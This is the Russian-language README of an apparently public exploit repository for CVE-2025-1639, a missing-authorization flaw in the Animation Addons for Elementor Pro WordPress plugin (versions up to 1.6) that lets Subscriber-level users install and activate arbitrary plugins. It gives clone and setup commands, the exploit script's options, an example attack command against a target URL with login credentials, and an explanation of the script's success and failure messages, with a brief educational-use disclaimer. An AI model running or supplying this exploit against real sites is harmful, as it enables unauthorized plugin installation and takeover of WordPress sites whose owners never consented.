nxploited/cve-2025-1639Animation Addons for Elementor Pro <= 1.6 — Отсутствие авторизации: аутентифицированные пользователи (Подписчик+) могут произвольно устанавливать/активировать плагины
Плагин Animation Addons for Elementor Pro для WordPress уязвим к несанкционированной установке произвольных плагинов из-за отсутствия проверки прав доступа в функции install_elementor_plugin_handler() во всех версиях до 1.6 включительно. Это позволяет аутентифицированным злоумышленникам с доступом уровня Subscriber и выше устанавливать и активировать произвольные плагины, что может быть использовано для дальнейшего заражения жертвы, когда Elementor не активирован на уязвимом сайте.
requestsBeautifulSoupgit clone https://github.com/Nxploited/CVE-2025-1639.git
cd CVE-2025-1639
pip install -r requirements.txt
usage: CVE-2025-1639.py [-h] -u URL -un USERNAME -p PASSWORD [-pl PLUGIN]
Exploit script for CVE-2025-1639 # By Nxploit | Kaled ALenazi
options:
-h, --help show this help message and exit
-u URL, --url URL Target URL
-un USERNAME, --username USERNAME
WordPress username
-p PASSWORD, --password PASSWORD
WordPress password
-pl PLUGIN, --plugin PLUGIN
Plugin slug to upload and activate (default: wp-maintenance-mode)
-u, --url: целевой URL-un, --username: имя пользователя WordPress-p, --password: пароль WordPress-pl, --plugin (необязательно): slug плагина для загрузки и активации (по умолчанию: wp-maintenance-mode)python CVE-2025-1639.py -u http://example.com/wordpress -un admin -p password -pl wp-maintenance-mode
Logged in successfully.: Указывает на успешный вход.The site is vulnerable... Exploiting and uploading the plugin.: Указывает, что целевой сайт уязвим, и эксплойт выполняется.Plugin uploaded and activated successfully.: Указывает, что плагин был успешно загружен и активирован.Failed to log in.: Указывает на неудачный вход.The site is not vulnerable.: Указывает, что на целевом сайте не установлена уязвимая версия.Failed to extract security token.: Указывает на ошибку при извлечении защитного токена, необходимого для эксплуатации.Failed to upload and activate the plugin.: Указывает на ошибку при загрузке и активации плагина.Этот скрипт предназначен только для образовательных целей. Используйте его на свой страх и риск. Автор не несет ответственности за любой ущерб, причиненный этим скриптом.